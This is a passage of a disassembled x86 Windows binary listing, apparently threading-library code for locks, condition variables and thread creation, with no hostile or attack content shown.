eax, eax jnz loc_42F3E9 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42F2EB mov eax, 0Ch pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F2EB: ; CODE XREF: ___:0042F2DCj push ebx push ebp push edi push eax push esi call sub_401A50 lea ebx, [esi+2Ch] mov edi, eax push ebx call sub_402225 mov eax, [esi+34h] add esp, 0Ch test eax, eax mov ebp, 3 jnz loc_42F3C2 mov eax, [esi+30h] test eax, eax jnz loc_42F3C2 cmp [esi+0Ch], ebp jge loc_42F3D5 test edi, edi jz short loc_42F354 push ebx mov [esi+0Ch], ebp mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- mov eax, [esp+18h] add esp, 8 pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F354: ; CODE XREF: ___:0042F329j mov edi, [esi+4] push edi nop call near ptr 28D08D2h push 0 push edi nop call near ptr 28E03CEh cmp eax, 102h jnz short loc_42F3E2 lea eax, [esp+14h] mov [esi+0Ch], ebp push eax push edi mov dword ptr [esi+30h], 1 mov dword ptr [esp+1Ch], 10001h nop call near ptr 28D0A98h lea ecx, [esp+14h] mov dword ptr [esp+0CCh], offset loc_42F460 push ecx push edi nop call near ptr 28D0C60h push ebx call sub_4010C3 add esp, 4 push edi nop call near ptr 28E0000h mov eax, [esp+10h] pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F3C2: ; CODE XREF: ___:0042F30Dj ; ___:0042F318j cmp [esi+0Ch], ebp jge short loc_42F3D5 mov edx, [esi+38h] push edx call near ptr 28E01EDh nop test eax, eax jnz short loc_42F3D9 loc_42F3D5: ; CODE XREF: ___:0042F321j ; ___:0042F3C5j mov [esp+10h], ebp loc_42F3D9: ; CODE XREF: ___:0042F3D3j push ebx call sub_4010C3 add esp, 4 loc_42F3E2: ; CODE XREF: ___:0042F36Cj mov eax, [esp+10h] pop edi pop ebp pop ebx loc_42F3E9: ; CODE XREF: ___:0042F2CFj pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F460: ; DATA XREF: ___:0042F390o push 2 call sub_401DD4 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F480 proc near ; CODE XREF: sub_401122j mov eax, dword_50E3DC push esi push eax call sub_401190 sub_42F480 endp ; --------------------------------------------------------------------------- mov esi, eax add esp, 4 test esi, esi jz short loc_42F4BE mov eax, [esp+8] test eax, eax jz short loc_42F4AC mov eax, [esi] test eax, eax jz short loc_42F4AC mov ecx, [esi+4] push ecx call eax add esp, 4 loc_42F4AC: ; CODE XREF: ___:0042F49Bj ; ___:0042F4A1j mov edx, [esi+8] mov eax, dword_50E3DC push edx push eax call sub_4020DB ; --------------------------------------------------------------------------- add esp, 8 loc_42F4BE: ; CODE XREF: ___:0042F493j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F4F0 proc near ; CODE XREF: sub_401659j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] mov ecx, [esp+arg_8] push esi mov esi, [esp+4+arg_0] mov [esi], eax mov [esi+4], ecx mov edx, dword_50E3DC push edx call sub_401190 sub_42F4F0 endp ; --------------------------------------------------------------------------- mov [esi+8], eax mov eax, dword_50E3DC push esi push eax call sub_4020DB ; --------------------------------------------------------------------------- add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F540 proc near ; CODE XREF: sub_401B4Fj arg_0 = dword ptr 4 push esi push offset dword_50E920 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_42F574 push esi push ecx call sub_401541 add esp, 8 mov esi, eax push offset dword_50E920 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42F574: ; CODE XREF: sub_42F540+17j test eax, eax jnz short loc_42F57D mov esi, 16h loc_42F57D: ; CODE XREF: sub_42F540+36j push offset dword_50E920 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_42F540 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5B0: ; CODE XREF: ___:004020FEj push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_42F5D3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42F5D3: ; CODE XREF: ___:0042F5C2j mov ecx, [esp+8] mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5F0: ; CODE XREF: ___:004021D0j push esi mov esi, [esp+8] test esi, esi jz short loc_42F613 mov eax, [esi] test eax, eax jz short loc_42F613 push eax call near ptr 77C2C21Bh nop add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F613: ; CODE XREF: ___:0042F5F7j ; ___:0042F5FDj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F630: ; CODE XREF: ___:00401005j mov eax, [esp+4] test eax, eax jz short loc_42F64D mov eax, [eax] test eax, eax jz short loc_42F64D mov ecx, [esp+8] test ecx, ecx jz short loc_42F64D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42F64D: ; CODE XREF: ___:0042F636j ; ___:0042F63Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F670: ; CODE XREF: ___:004012ADj mov eax, [esp+4] test eax, eax jz short loc_42F69A mov ecx, [eax] test ecx, ecx jz short loc_42F69A mov eax, [esp+8] cmp eax, 1 jz short loc_42F68E test eax, eax jnz short loc_42F69A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42F68E: ; CODE XREF: ___:0042F685j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42F69A: ; CODE XREF: ___:0042F676j ; ___:0042F67Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F6B0 proc near ; CODE XREF: sub_401541j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi xor edi, edi xor esi, esi cmp eax, edi jnz short loc_42F6C6 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42F6C6: ; CODE XREF: sub_42F6B0+Cj mov eax, [esp+8+arg_4] push ebx cmp eax, edi push ebp jz short loc_42F6ED mov eax, [eax] cmp eax, edi jz short loc_42F6ED cmp dword ptr [eax], 1 jnz short loc_42F6ED mov edx, [esp+10h+arg_0] mov edi, 28h pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F6ED: ; CODE XREF: sub_42F6B0+1Ej ; sub_42F6B0+24j ... push 20h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 cmp esi, edi jnz short loc_42F712 mov edx, [esp+10h+arg_0] mov edi, 0Ch pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F712: ; CODE XREF: sub_42F6B0+4Ej lea ebp, [esi+10h] push 1 push edi push ebp mov [esi], edi mov [esi+8], edi mov [esi+4], edi call sub_401C76 add esp, 0Ch test eax, eax jz short loc_42F737 call near ptr 77C1F2BCh nop mov edi, [eax] jmp short loc_42F77B ; --------------------------------------------------------------------------- loc_42F737: ; CODE XREF: sub_42F6B0+7Bj lea ebx, [esi+0Ch] push 0 push 0 push ebx call sub_401C76 add esp, 0Ch test eax, eax jz short loc_42F755 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_42F772 ; --------------------------------------------------------------------------- loc_42F755: ; CODE XREF: sub_42F6B0+99j lea eax, [esi+14h] push 0 push eax call sub_402199 mov edi, eax add esp, 8 test edi, edi jz short loc_42F7DF push ebx call sub_401686 add esp, 4 loc_42F772: ; CODE XREF: sub_42F6B0+A3j push ebp call sub_401686 add esp, 4 loc_42F77B: ; CODE XREF: sub_42F6B0+85j push esi nop call near ptr 77C2C21Bh add esp, 4 xor esi, esi test edi, edi jnz short loc_42F7D2 loc_42F78B: ; CODE XREF: sub_42F6B0+131j push offset dword_50E9A0 call near ptr 7C901005h nop mov dword ptr [esi+18h], 0 mov ecx, dword_50E3E4 mov [esi+1Ch], ecx mov eax, dword_50E3E4 test eax, eax jz short loc_42F7B2 mov [eax+18h], esi loc_42F7B2: ; CODE XREF: sub_42F6B0+FDj mov eax, dword_50E3E0 mov dword_50E3E4, esi test eax, eax jnz short loc_42F7C7 mov dword_50E3E0, esi loc_42F7C7: ; CODE XREF: sub_42F6B0+10Fj push offset dword_50E9A0 call near ptr 7C9010EDh nop loc_42F7D2: ; CODE XREF: sub_42F6B0+D9j mov edx, [esp+10h+arg_0] pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F7DF: ; CODE XREF: sub_42F6B0+B7j xor edi, edi jmp short loc_42F78B sub_42F6B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F840 proc near ; CODE XREF: sub_401A91j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_0] xor esi, esi xor ebp, ebp xor ebx, ebx test edi, edi mov [esp+14h+var_4], ebp jz loc_42F9EC mov eax, [edi] test eax, eax jz loc_42F9EC cmp eax, 0FFFFFFFFh jz loc_42F9A3 push offset dword_50E9A0 call near ptr 7C901005h nop mov esi, [edi] lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_42F899 call near ptr 77C1F2BCh nop mov eax, [eax] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F899: ; CODE XREF: sub_42F840+49j lea ebp, [esi+14h] push ebp call sub_40177B add esp, 4 mov [esp+14h+arg_0], eax test eax, eax jz short loc_42F8C0 push ebx call sub_40103C mov eax, [esp+18h+arg_0] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F8C0: ; CODE XREF: sub_42F840+6Bj mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jle short loc_42F8F9 push ebx call sub_40103C add esp, 4 test eax, eax jz short loc_42F8E2 nop call near ptr 77C1F2BCh mov ecx, [eax] mov [esp+14h+arg_0], ecx loc_42F8E2: ; CODE XREF: sub_42F840+94j push ebp call sub_4010C3 add esp, 4 mov [esp+14h+var_4], eax mov ebx, 10h jmp loc_42F98E ; --------------------------------------------------------------------------- loc_42F8F9: ; CODE XREF: sub_42F840+87j push ebx mov dword ptr [edi], 0 call sub_401686 mov edi, dword_50FA64 add esp, 4 test eax, eax jz short loc_42F91A call edi ; _errno mov edx, [eax] mov [esp+14h+arg_0], edx loc_42F91A: ; CODE XREF: sub_42F840+D0j lea eax, [esi+0Ch] push eax call sub_401686 add esp, 4 test eax, eax jz short loc_42F932 call edi ; _errno mov ecx, [eax] mov [esp+14h+var_4], ecx loc_42F932: ; CODE XREF: sub_42F840+E8j push ebp call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42F94C push ebp call sub_40222F add esp, 4 mov ebx, eax loc_42F94C: ; CODE XREF: sub_42F840+FFj cmp dword_50E3E0, esi jnz short loc_42F95F mov edx, [esi+18h] mov dword_50E3E0, edx jmp short loc_42F968 ; --------------------------------------------------------------------------- loc_42F95F: ; CODE XREF: sub_42F840+112j mov eax, [esi+1Ch] mov ecx, [esi+18h] mov [eax+18h], ecx loc_42F968: ; CODE XREF: sub_42F840+11Dj cmp dword_50E3E4, esi jnz short loc_42F97B mov edx, [esi+1Ch] mov dword_50E3E4, edx jmp short loc_42F984 ; --------------------------------------------------------------------------- loc_42F97B: ; CODE XREF: sub_42F840+12Ej mov eax, [esi+18h] mov ecx, [esi+1Ch] mov [eax+1Ch], ecx loc_42F984: ; CODE XREF: sub_42F840+139j push esi call near ptr 77C2C21Bh nop add esp, 4 loc_42F98E: ; CODE XREF: sub_42F840+B4j push offset dword_50E9A0 nop call near ptr 7C9010EDh mov esi, [esp+14h+arg_0] mov ebp, [esp+14h+var_4] jmp short loc_42F9D2 ; --------------------------------------------------------------------------- loc_42F9A3: ; CODE XREF: sub_42F840+28j push offset dword_50E920 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_42F9BB mov dword ptr [edi], 0 jmp short loc_42F9C7 ; --------------------------------------------------------------------------- loc_42F9BB: ; CODE XREF: sub_42F840+171j mov [esp+14h+arg_0], 10h mov esi, [esp+14h+arg_0] loc_42F9C7: ; CODE XREF: sub_42F840+179j push offset dword_50E920 nop call near ptr 7C9010EDh loc_42F9D2: ; CODE XREF: sub_42F840+161j test esi, esi jz short loc_42F9DE mov eax, esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F9DE: ; CODE XREF: sub_42F840+194j test ebp, ebp mov eax, ebp jnz short loc_42F9F1 pop edi pop esi mov eax, ebx pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F9EC: ; CODE XREF: sub_42F840+15j ; sub_42F840+1Fj mov eax, 16h loc_42F9F1: ; CODE XREF: sub_42F840+1A2j pop edi pop esi pop ebp pop ebx pop ecx retn sub_42F840 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FA70 proc near ; CODE XREF: sub_401203j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push eax push ecx call sub_42FAA0 add esp, 0Ch retn sub_42FA70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FAA0 proc near ; CODE XREF: sub_42FA70+Cp ; sub_42FD70+19p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 20h push esi mov esi, [esp+24h+arg_0] test esi, esi push edi mov [esp+28h+var_20], 0 jz loc_42FBA9 mov eax, [esi] test eax, eax jz loc_42FBA9 cmp eax, 0FFFFFFFFh jnz short loc_42FAE2 push esi call sub_401B4F add esp, 4 mov [esp+28h+var_20], eax test eax, eax jz short loc_42FAE2 cmp eax, 10h jnz loc_42FBAE loc_42FAE2: ; CODE XREF: sub_42FAA0+26j ; sub_42FAA0+37j mov esi, [esi] lea edi, [esi+10h] push edi call sub_401041 add esp, 4 test eax, eax jz short loc_42FB02 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_42FB02: ; CODE XREF: sub_42FAA0+52j mov ecx, [esi] push edi inc ecx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_42FB22 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_42FB22: ; CODE XREF: sub_42FAA0+72j mov edi, [esp+28h+arg_4] lea ecx, [esp+28h+var_10] push ecx lea edx, [esp+2Ch+var_1C] lea eax, [esp+2Ch+var_20] push offset loc_42FC10 push edx mov [esp+34h+var_10], edi mov [esp+34h+var_C], esi mov [esp+34h+var_8], eax mov [esp+34h+var_4], 0 call sub_401659 ; --------------------------------------------------------------------------- dw 0E857h dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 7EF73FE8h dd 8B9077h, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h dd 20C4835Eh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42FBA9: ; CODE XREF: sub_42FAA0+13j ; sub_42FAA0+1Dj mov eax, 16h loc_42FBAE: ; CODE XREF: sub_42FAA0+3Cj pop edi pop esi add esp, 20h retn sub_42FAA0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FC10: ; DATA XREF: sub_42FAA0+93o push ecx push ebx push ebp mov ebp, [esp+10h] push esi push edi mov esi, [ebp+4] mov ebx, [ebp+8] mov [esp+18h], ebx lea edi, [esi+14h] push edi call sub_402225 add esp, 4 test eax, eax jz short loc_42FC3B pop edi pop esi mov [ebx], eax pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FC3B: ; CODE XREF: ___:0042FC31j mov ebx, [esi+8] test ebx, ebx mov [esp+10h], ebx jz short loc_42FC4E lea eax, [ebx-1] mov [esi+8], eax jmp short loc_42FCB7 ; --------------------------------------------------------------------------- loc_42FC4E: ; CODE XREF: ___:0042FC44j mov ecx, [esi+4] inc ecx mov eax, ecx mov [esi+4], ecx cmp eax, 3FFFFFFFh jnz short loc_42FCB7 lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_42FC82 call near ptr 77C1F2BCh nop mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FC82: ; CODE XREF: ___:0042FC6Cj mov eax, [esi+4] mov ecx, [esi] sub ecx, eax push ebx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_42FCAC nop call near ptr 77C1F2BCh mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCAC: ; CODE XREF: ___:0042FC96j mov ebx, [esp+10h] mov dword ptr [esi+4], 0 loc_42FCB7: ; CODE XREF: ___:0042FC4Cj ; ___:0042FC5Cj push edi call sub_4010C3 add esp, 4 test eax, eax jz short loc_42FCD0 mov ecx, [esp+18h] pop edi pop esi pop ebp mov [ecx], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCD0: ; CODE XREF: ___:0042FCC2j cmp ebx, 1 jnz short loc_42FCF9 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_42FCF9 call near ptr 77C1F2BCh nop mov edx, [eax] mov eax, [esp+18h] pop edi pop esi pop ebp mov [eax], edx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCF9: ; CODE XREF: ___:0042FCD3j ; ___:0042FCE3j mov ecx, [ebp+0] push ecx call sub_402225 add esp, 4 test eax, eax jz short loc_42FD0F mov edx, [esp+18h] mov [edx], eax loc_42FD0F: ; CODE XREF: ___:0042FD07j pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FD70 proc near ; CODE XREF: sub_4011E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jnz short loc_42FD7E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42FD7E: ; CODE XREF: sub_42FD70+6j mov ecx, [esp+arg_0] push eax mov eax, [esp+4+arg_4] push eax push ecx call sub_42FAA0 add esp, 0Ch retn sub_42FD70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FDB0 proc near ; CODE XREF: sub_401E51j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_42FDD0 add esp, 8 retn sub_42FDB0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FDD0 proc near ; CODE XREF: sub_42FDB0+7p ; sub_42FF30+7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx push esi push edi test eax, eax jz loc_42FED4 mov esi, [eax] test esi, esi jz loc_42FED4 cmp esi, 0FFFFFFFFh jnz short loc_42FDF4 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_42FDF4: ; CODE XREF: sub_42FDD0+1Cj lea ebx, [esi+14h] push ebx call sub_402225 add esp, 4 test eax, eax jnz loc_42FED9 mov ecx, [esi+8] mov eax, [esi] test ecx, ecx jz short loc_42FE44 test eax, eax jnz short loc_42FE22 loc_42FE15: ; CODE XREF: sub_42FDD0+77j push ebx call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FE22: ; CODE XREF: sub_42FDD0+43j mov edx, [esp+0Ch+arg_4] test edx, edx jz short loc_42FE39 mov edi, eax mov dword ptr [esi], 0 add ecx, edi mov [esi+8], ecx jmp short loc_42FEA6 ; --------------------------------------------------------------------------- loc_42FE39: ; CODE XREF: sub_42FDD0+58j inc ecx mov edi, 1 mov [esi+8], ecx jmp short loc_42FEA3 ; --------------------------------------------------------------------------- loc_42FE44: ; CODE XREF: sub_42FDD0+3Fj cmp eax, [esi+4] jle short loc_42FE15 lea ecx, [esi+10h] push ecx call sub_401041 add esp, 4 test eax, eax jz short loc_42FE70 call near ptr 77C1F2BCh nop mov esi, [eax] push ebx call sub_4010C3 add esp, 4 mov eax, esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FE70: ; CODE XREF: sub_42FDD0+87j mov eax, [esi+4] test eax, eax jz short loc_42FE84 mov ecx, [esi] mov dword ptr [esi+4], 0 sub ecx, eax mov [esi], ecx loc_42FE84: ; CODE XREF: sub_42FDD0+A5j mov eax, [esp+0Ch+arg_4] test eax, eax jz short loc_42FE99 mov edi, [esi] mov dword ptr [esi], 0 mov [esi+8], edi jmp short loc_42FEA6 ; --------------------------------------------------------------------------- loc_42FE99: ; CODE XREF: sub_42FDD0+BAj mov eax, [esi] mov edi, 1 mov [esi+8], edi loc_42FEA3: ; CODE XREF: sub_42FDD0+72j dec eax mov [esi], eax loc_42FEA6: ; CODE XREF: sub_42FDD0+67j ; sub_42FDD0+C7j push ebx call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42FECE add esi, 0Ch push edi push esi call sub_40204A add esp, 8 test eax, eax jz short loc_42FECE nop call near ptr 77C1F2BCh mov ebx, [eax] loc_42FECE: ; CODE XREF: sub_42FDD0+E3j ; sub_42FDD0+F4j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FED4: ; CODE XREF: sub_42FDD0+9j ; sub_42FDD0+13j mov eax, 16h loc_42FED9: ; CODE XREF: sub_42FDD0+32j pop edi pop esi pop ebx retn sub_42FDD0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FF30 proc near ; CODE XREF: sub_401604j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_42FDD0 add esp, 8 retn sub_42FF30 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FF50 proc near ; CODE XREF: sub_40123Aj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ecx push ebx push esi push edi mov edi, 0Bh xor ebx, ebx call sub_401B13 mov esi, eax test esi, esi jz loc_430026 mov eax, [esi+28h] push 0Ch mov [esp+14h+var_4], eax call near ptr 77C2C407h nop mov ebx, eax add esp, 4 test ebx, ebx jz loc_430026 mov ecx, [esp+10h+arg_8] mov edx, [esp+10h+arg_C] push ebp mov ebp, [esp+14h+arg_4] test ebp, ebp mov [ebx], esi mov [ebx+4], ecx mov [ebx+8], edx jz short loc_42FFCE mov eax, [ebp+0] test eax, eax jz short loc_42FFCE mov edi, [eax+8] mov eax, [eax+0Ch] mov [esi+20h], eax mov eax, [ebp+0] mov ecx, [eax+10h] mov [esp+14h+var_4], ecx mov ecx, [eax+14h] test ecx, ecx jnz short loc_42FFD0 call sub_4012E4 ; --------------------------------------------------------------------------- mov edx, [eax+28h] mov [esp+14h+var_4], edx jmp short loc_42FFD0 ; --------------------------------------------------------------------------- loc_42FFCE: ; CODE XREF: sub_42FF50+4Dj ; sub_42FF50+54j xor edi, edi loc_42FFD0: ; CODE XREF: sub_42FF50+6Ej ; sub_42FF50+7Cj push esi push 4 push ebx xor eax, eax push offset loc_401B95 push edi push eax mov [esi+0Ch], eax mov [esi+80h], eax call near ptr 77C3A3DBh nop mov edi, eax add esp, 18h test edi, edi mov [esi+4], edi jz short loc_430019 test ebp, ebp jz short loc_430012 cmp dword ptr [ebp+0], 0 jz short loc_430012 mov eax, [esp+14h+var_4] push eax push 0 push esi call sub_4020B3 add esp, 0Ch loc_430012: ; CODE XREF: sub_42FF50+AAj ; sub_42FF50+B0j push edi call near ptr 28E0000h nop loc_430019: ; CODE XREF: sub_42FF50+A6j neg edi sbb edi, edi pop ebp and edi, 0FFFFFFF5h add edi, 0Bh jz short loc_430059 loc_430026: ; CODE XREF: sub_42FF50+14j ; sub_42FF50+30j push esi call sub_4017AD add esp, 4 xor esi, esi test ebx, ebx jz short loc_43004C push ebx nop call near ptr 77C2C21Bh mov ecx, [esp+14h+arg_0] add esp, 4 mov eax, edi mov [ecx], esi pop edi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43004C: ; CODE XREF: sub_42FF50+E3j mov edx, [esp+10h+arg_0] mov eax, edi pop edi mov [edx], esi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430059: ; CODE XREF: sub_42FF50+D4j mov eax, [esp+10h+arg_0] mov [eax], esi mov eax, edi pop edi pop esi pop ebx pop ecx retn sub_42FF50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4300C0: ; CODE XREF: ___:00401343j mov ecx, [esp+8] mov eax, 1 cmp ecx, 3 ; switch 4 cases ja short locret_4300F7 ; default jmp off_4300FC[ecx*4] ; switch jump loc_4300D5: ; DATA XREF: ___:off_4300FCo call sub_401708 ; jumptable 004300CE case 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4300DD: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017B2 ; jumptable 004300CE case 2 retn 0Ch ; --------------------------------------------------------------------------- loc_4300E5: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017C1 ; jumptable 004300CE case 3 retn 0Ch ; --------------------------------------------------------------------------- loc_4300ED: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017C1 ; jumptable 004300CE case 0 call sub_40161D locret_4300F7: ; CODE XREF: ___:004300CCj retn 0Ch ; default ; --------------------------------------------------------------------------- align 4 off_4300FC dd offset loc_4300ED ; DATA XREF: ___:004300CEr dd offset loc_4300D5 ; jump table for switch statement dd offset loc_4300DD dd offset loc_4300E5 db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_430130: ; CODE XREF: ___:004017B7j mov eax, dword_50E3D8 push esi push edi push eax call sub_401190 ; --------------------------------------------------------------------------- db 8Bh, 7Ch, 24h dd 83F08B10h, 0F68504C4h, 90570A75h, 80A1B6E8h, 4C48377h dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_430180 proc near ; CODE XREF: sub_401758j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push offset dword_50E8E0 xor esi, esi call near ptr 7C901005h nop mov eax, [esp+4+arg_0] test eax, eax jz short loc_4301AB mov eax, [eax+4] test eax, eax jz short loc_4301AB push eax call near ptr 28D060Ch nop cmp eax, 7FFFFFFFh jnz short loc_4301B0 loc_4301AB: ; CODE XREF: sub_430180+14j ; sub_430180+1Bj mov esi, 3 loc_4301B0: ; CODE XREF: sub_430180+29j push offset dword_50E8E0 call near ptr 7C9010EDh nop test esi, esi jnz short loc_4301CC mov eax, [esp+4+arg_4] test eax, eax mov eax, 16h jnz short loc_4301CE loc_4301CC: ; CODE XREF: sub_430180+3Dj mov eax, esi loc_4301CE: ; CODE XREF: sub_430180+4Aj pop esi retn sub_430180 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4301F0: ; CODE XREF: ___:0040164Aj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz short loc_430241 mov edi, [esp+14h] test edi, edi jz short loc_430241 mov eax, [esi] xor ebx, ebx test eax, eax jnz short loc_430221 lea eax, [esi+4] push eax nop call near ptr 28D056Ah test eax, eax jnz short loc_430227 call edi ; _errno mov dword ptr [esi], 1 loc_430221: ; CODE XREF: ___:00430209j ; 